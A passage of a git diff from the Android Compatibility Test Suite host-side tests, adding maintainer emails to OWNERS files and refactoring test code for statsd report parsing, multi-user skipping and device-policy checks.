index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
index 3f148c4..f17768d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
 patb@google.com
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS b/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS b/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS b/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
index 98dc09e..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
@@ -1 +1,2 @@
 # Bug component: 137825
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
index 98dc09e..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
@@ -1 +1,2 @@
 # Bug component: 137825
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
index 461222f..619063a 100644
--- a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 856262
 svetoslavganov@google.com
+toddke@google.com
 patb@google.com
 schfan@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS b/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
index 0facc5a..9d4a924 100644
--- a/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 533114
 patb@google.com
+toddke@google.com
 chiuwinson@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS b/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
index 3f148c4..bdc654a 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+toddke@google.com
 patb@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
index 3f148c4..f17768d 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
 patb@google.com
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
index 98dc09e..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
@@ -1 +1,2 @@
 # Bug component: 137825
+eugenesusla@google.com
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index fc355af..6928718 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -98,6 +98,10 @@
         return device.isMultiUserSupported();
     }
 
+    protected boolean isMultiUserSupported() throws Exception {
+        return isMultiUserSupported(getDevice());
+    }
+
     protected Map<String, String> createArgsFromLastTestRun() {
         final Map<String, String> args = new HashMap<>();
         for (String key : new String[] {
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index ec13654..9a78386 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -40,9 +40,9 @@
 
     @BeforeClassWithInfo
     public static void setUpClass(TestInformation testInfo) throws Exception {
-        assumeTrue("Multi-user is not supported on this device",
-                isMultiUserSupported(testInfo.getDevice()));
-
+        if(!isMultiUserSupported(testInfo.getDevice())) {
+            return;
+        }
         mPrimaryUserId = testInfo.getDevice().getPrimaryUserId();
         mSecondaryUserId = testInfo.getDevice().createUser("Test_User");
         assertThat(testInfo.getDevice().startUser(mSecondaryUserId)).isTrue();
@@ -50,6 +50,8 @@
 
     @Before
     public void setUp() throws Exception {
+        assumeTrue("Multi-user is not supported on this device", isMultiUserSupported());
+
         for (String apk : new String[] {TARGET_APK, TARGET_APK_DEV}) {
             installPackageAsUser(apk, true /* grantPermissions */, mPrimaryUserId, "-t");
             installPackageAsUser(apk, true /* grantPermissions */, mSecondaryUserId, "-t");
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index d932dd8..3432898 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -34,6 +34,9 @@
         "general-tests",
         "mts",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index e691e20..fcc7d5d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -96,6 +96,7 @@
         <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
         <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
              android:launchMode="singleInstance"
+             android:directBootAware="true"
              android:lockTaskMode="if_whitelisted"
              android:exported="true">
             <intent-filter>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 6fa0bcb..4cf186d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -16,13 +16,14 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.media.AudioManager;
 import android.media.MediaPlayer;
 import android.net.Uri;
-import android.provider.Settings;
 import android.os.SystemClock;
 import android.os.UserManager;
 import android.util.Log;
@@ -51,7 +52,8 @@
         mPackageManager = mContext.getPackageManager();
         mUseFixedVolume = mContext.getResources().getBoolean(
                 Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
-        mUseFullVolume = isFullVolumeDevice();
+        mUseFullVolume = runWithShellPermissionIdentity(() -> mAudioManager.isFullVolumeDevice(),
+                android.Manifest.permission.QUERY_AUDIO_STATE);
     }
 
     // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
@@ -190,17 +192,4 @@
             Thread.sleep(200);
         }
     }
-
-    private boolean isFullVolumeDevice() {
-        String commandOutput = runShellCommand("dumpsys audio");
-
-        for (String line : commandOutput.split("\\r?\\n")) {
-            if (Pattern.matches("\\s*mHdmiCecSink=true", line)
-                    || (Pattern.matches("\\s*mHdmiPlayBackClient=", line)
-                    && !Pattern.matches("=null$", line))) {
-                return true;
-            }
-        }
-        return false;
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index de7f94e..0e590c4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -47,7 +47,6 @@
 import java.util.List;
 
 // TODO(b/184280023): remove @RequiresDevice and @Ignores.
-@RequiresDevice
 @RunWith(AndroidJUnit4.class)
 public class SecondaryLockscreenTest {
 
@@ -139,6 +138,7 @@
         verifySecondaryLockscreenIsShown();
     }
 
+    @RequiresDevice
     @Test(expected = SecurityException.class)
     public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
         final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 922745d..a6dcb8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -99,7 +99,6 @@
                     OPERATION_SET_APPLICATION_HIDDEN,
                     OPERATION_SET_APPLICATION_RESTRICTIONS,
                     OPERATION_SET_CAMERA_DISABLED,
-                    OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
                     OPERATION_SET_GLOBAL_PRIVATE_DNS,
                     OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
                     OPERATION_SET_KEYGUARD_DISABLED,
@@ -125,6 +124,10 @@
                 operations = ArrayUtils.appendInt(operations,
                         OPERATION_SET_TRUST_AGENT_CONFIGURATION);
             }
+            if (mDevicePolicyManager.isFactoryResetProtectionPolicySupported()) {
+                operations = ArrayUtils.appendInt(operations,
+                        OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY);
+            }
 
             return operations;
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 7700140..dcafa40 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -24,4 +24,7 @@
     libs: [
         "tradefed",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 5ab3ddb0..68e4934 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -15,7 +15,7 @@
  */
 package com.android.cts.devicepolicy.metrics;
 
-import static junit.framework.Assert.assertTrue;
+import android.cts.statsdatom.lib.ReportUtils;
 
 import com.android.internal.os.StatsdConfigProto.AtomMatcher;
 import com.android.internal.os.StatsdConfigProto.EventMetric;
@@ -23,24 +23,22 @@
 import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
 import com.android.internal.os.StatsdConfigProto.StatsdConfig;
 import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+
 import com.google.common.io.Files;
 import com.google.protobuf.InvalidProtocolBufferException;
 import com.google.protobuf.MessageLite;
 import com.google.protobuf.Parser;
+
 import java.io.File;
 import java.util.ArrayList;
-import java.util.Comparator;
 import java.util.List;
 import java.util.function.Predicate;
-import java.util.stream.Collectors;
 
 /**
  * Tests Statsd atoms.
@@ -103,26 +101,7 @@
      */
     List<EventMetricData> getEventMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
-        final ConfigMetricsReport report = reportList.getReports(0);
-        final List<StatsLogReport> metricsList = report.getMetricsList();
-        return metricsList.stream()
-                .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
-                .peek(eventMetricData -> {
-                    CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
-                            + ":\n" + eventMetricData.getAtom().toString());
-                })
-                .collect(Collectors.toList());
+        return ReportUtils.getEventMetricDataList(reportList);
     }
 
     /** Gets the statsd report. Note that this also deletes that report from statsd. */
diff --git a/hostsidetests/graphics/framerateoverride/OWNERS b/hostsidetests/graphics/framerateoverride/OWNERS
index 804f38a..0e1e92c 100644
--- a/hostsidetests/graphics/framerateoverride/OWNERS
+++ b/hostsidetests/graphics/framerateoverride/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 25423
 adyabr@google.com
+stoza@google.com
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index 1f46b56..d6da4c3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -65,7 +65,9 @@
                 Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
                         CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
                         CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
-                        CecOperand.GET_MENU_LANGUAGE));
+                        CecOperand.GET_MENU_LANGUAGE, CecOperand.ACTIVE_SOURCE,
+                        CecOperand.REQUEST_ACTIVE_SOURCE, CecOperand.GIVE_PHYSICAL_ADDRESS,
+                        CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
         allowedMessages.addAll(expectedMessages);
 
         device.executeShellCommand("reboot");
diff --git a/hostsidetests/incident/OWNERS b/hostsidetests/incident/OWNERS
index 4335d85..37c0932 100644
--- a/hostsidetests/incident/OWNERS
+++ b/hostsidetests/incident/OWNERS
@@ -4,8 +4,10 @@
 jreck@google.com
 kwekua@google.com
 muhammadq@google.com
+ruchirr@google.com
 singhtejinder@google.com
 tsaichristine@google.com
 yamasani@google.com
 yanmin@google.com
+yro@google.com
 zhouwenjie@google.com
diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
index ebb4191..3ff1bfe 100644
--- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
@@ -31,6 +31,7 @@
 import android.service.usb.UsbSettingsManagerProto;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 
 /**
  * Tests for the UsbService proto dump.
@@ -51,7 +52,10 @@
 
     public void testUsbServiceDump() throws Exception {
         // Devices that don't support USB functionality won't dump a USB service proto.
-        assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice()));
+        if (!hasUsbFunctionality(getDevice())) {
+            CLog.i("Device doesn't support USB functionality.");
+            return;
+        }
 
         final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(),
                 "dumpsys usb --proto");
diff --git a/hostsidetests/incrementalinstall/OWNERS b/hostsidetests/incrementalinstall/OWNERS
index 4e841c61..49bed85 100644
--- a/hostsidetests/incrementalinstall/OWNERS
+++ b/hostsidetests/incrementalinstall/OWNERS
@@ -2,5 +2,6 @@
 dimuthu@google.com
 alexbuy@google.com
 schfan@google.com
+toddke@google.com
 patb@google.com
 zyy@google.com
\ No newline at end of file
diff --git a/hostsidetests/install/app/src/android/cts/install/SessionRule.java b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
index 5c95c4f..b868187 100644
--- a/hostsidetests/install/app/src/android/cts/install/SessionRule.java
+++ b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
@@ -76,8 +76,8 @@
      * in {@link #mTestStateFile}. Assert error if no session found.
      */
     PackageInstaller.SessionInfo retrieveSessionInfo() throws IOException {
-        return Optional.of(getPackageInstaller().getSessionInfo(retrieveSessionId()))
+        return Optional.ofNullable(getPackageInstaller().getSessionInfo(retrieveSessionId()))
                 .orElseThrow(() -> new AssertionError(
                         "Expecting to find session with getSessionInfo()"));
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
index 7dc17f4..c0240dd 100644
--- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
 import android.stats.mediametrics_message.MediametricsMessage;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -162,12 +163,7 @@
     private MediametricsMessage.ExtractorData getMediaExtractorReportedData() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
                 data.stream()
                         .map(element -> element.getAtom().getMediametricsExtractorReported())
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
index 216b1c4..98e8f8f 100644
--- a/hostsidetests/mediaparser/Android.bp
+++ b/hostsidetests/mediaparser/Android.bp
@@ -36,6 +36,7 @@
     ],
     static_libs: [
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
     data: [
       ":CtsMediaParserTestCasesApp",
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
index 1e5c856..50bfa84 100644
--- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -18,6 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.internal.os.StatsdConfigProto;
@@ -272,16 +274,8 @@
     private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
-        // We sort the reported events by the elapsed timestamp so as to ensure they are returned
-        // in the same order as they were generated by the CTS tests.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         return data.stream()
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
                 .map(event -> event.getAtom().getMediametricsMediaparserReported())
                 .collect(Collectors.toList());
     }
diff --git a/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS b/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
index 5a2f109..4247866 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
+++ b/hostsidetests/os/test-apps/StaticSharedLibTestApp/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
 rhedjao@google.com
 patb@google.com
+toddke@google.com
 
diff --git a/hostsidetests/packagemanager/OWNERS b/hostsidetests/packagemanager/OWNERS
index 560376a..003fff4 100644
--- a/hostsidetests/packagemanager/OWNERS
+++ b/hostsidetests/packagemanager/OWNERS
@@ -1,5 +1,6 @@
 # Bug component: 36137
 patb@google.com
+toddke@google.com
 svetoslavganov@google.com
 narayan@google.com
 hackbod@google.com
diff --git a/hostsidetests/packagemanager/domainverification/OWNERS b/hostsidetests/packagemanager/domainverification/OWNERS
index e91398e..dd85fa9 100644
--- a/hostsidetests/packagemanager/domainverification/OWNERS
+++ b/hostsidetests/packagemanager/domainverification/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 36137
 chiuwinson@google.com
 patb@google.com
+toddke@google.com
diff --git a/hostsidetests/packagemanager/extractnativelibs/OWNERS b/hostsidetests/packagemanager/extractnativelibs/OWNERS
index 3ae53b0..12c955a 100644
--- a/hostsidetests/packagemanager/extractnativelibs/OWNERS
+++ b/hostsidetests/packagemanager/extractnativelibs/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
+toddke@google.com
 patb@google.com
 schfan@google.com
 alexbuy@google.com
diff --git a/hostsidetests/packagemanager/installedloadingprogess/OWNERS b/hostsidetests/packagemanager/installedloadingprogess/OWNERS
index 8e70c94..d697d1f 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/OWNERS
+++ b/hostsidetests/packagemanager/installedloadingprogess/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
+toddke@google.com
 patb@google.com
 schfan@google.com
 alexbuy@google.com
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/parsing/OWNERS b/hostsidetests/packagemanager/parsing/OWNERS
index 7f85179..541ab2e 100644
--- a/hostsidetests/packagemanager/parsing/OWNERS
+++ b/hostsidetests/packagemanager/parsing/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
 chiuwinson@google.com
 patb@google.com
+toddke@google.com
 
diff --git a/hostsidetests/packagemanager/stats/.gitignore b/hostsidetests/packagemanager/stats/.gitignore
new file mode 120000
index 0000000..b28cd14
--- /dev/null
+++ b/hostsidetests/packagemanager/stats/.gitignore
@@ -0,0 +1 @@
+../../../../tools/asuite/aidegen/data/gitignore_template
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/OWNERS b/hostsidetests/packagemanager/stats/OWNERS
index 4d6f60e..fd0ce2d 100644
--- a/hostsidetests/packagemanager/stats/OWNERS
+++ b/hostsidetests/packagemanager/stats/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
+toddke@google.com
 patb@google.com
 schfan@google.com
 chiuwinson@google.com
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
index 0fb546f..5f010fd 100644
--- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java
@@ -48,6 +48,10 @@
         if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) {
             return;
         }
+        // TODO(b/197784344): remove when the metrics supports multi-user
+        if (getDevice().isUserSecondary(getDevice().getCurrentUser())) {
+            return;
+        }
         ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 AtomsProto.Atom.INSTALLED_INCREMENTAL_PACKAGE_FIELD_NUMBER);
         installPackageUsingIncremental(new String[]{TEST_INSTALL_APK});
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 3c7da37..292b85e 100644
